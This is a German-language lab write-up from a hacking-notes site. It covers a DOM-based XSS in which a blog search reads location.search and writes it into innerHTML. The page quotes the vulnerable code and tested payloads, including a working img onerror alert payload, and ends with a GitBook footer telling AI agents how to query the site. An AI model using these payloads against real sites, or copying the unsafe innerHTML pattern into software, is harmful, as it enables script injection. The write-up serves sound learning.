> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/dom-xss-with-innerhtml-and-location-search.md).

# DOM-XSS mit innerHTML und location.search

### DOM-XSS in InnerHTML-Sink unter Verwendung der Quelle location.search

DOM-XSS-Schwachstelle in der Blog-Suchfunktion. Der Code liest den Wert von `location.search` und fügt ihn direkt über das DOM ein via `innerHTML`, wodurch JavaScript eingeschleust und ausgeführt werden kann, wenn der Wert aus der URL stammt.

<figure><img src="/files/8b0166b0384c49714ed44c07ed955cbf4932d65b" alt=""><figcaption></figcaption></figure>

**Auszug aus dem beobachteten Code**

```javascript
function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}
```

**Getestete Payloads**

* Einfache Payload (nicht interpretiert): / `<script>alert("XSS")</script>`
* Test zum Einfügen eines Bildelements\:/ `<img src="test"</img>`/ (dies löst keine Skriptausführung aus, da kein Ereignisattribut vorhanden ist)

<figure><img src="/files/6fc5fc53ee4ebff7ca8da18c08c9341ae89ff12c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dcc2c73af9a1e3a20baf4b09ad77fe2c90b1f440" alt=""><figcaption></figcaption></figure>

Ladefehler erzwingen, um einen `onerror` Handler auszulösen:/ `<img src=0 onerror=alert("XSS")>` / (Diese Payload verwendet das `onerror` Ereignisattribut, um `alert` auszuführen, wenn das Laden des Bildes fehlschlägt)

```javascript
<img src=0 onerror=alert("xss")>
```

<figure><img src="/files/ca205982148252cd97fa46250690f632f980d0ea" alt=""><figcaption></figcaption></figure>

Das Skript beeinflusst direkt `innerHTML` mit dem `Suche` den Wert der URL; daher können HTML-Fragmente mit Ereignishandlern (z. B. `onerror`) oder ausführbare Tags zur Codeausführung führen. Die `<img src=0 onerror=alert("XSS")>` Payload verursacht einen Ladefehler und führt `alert("XSS")`, was die DOM-XSS-Schwachstelle demonstriert.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/dom-xss-with-innerhtml-and-location-search.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
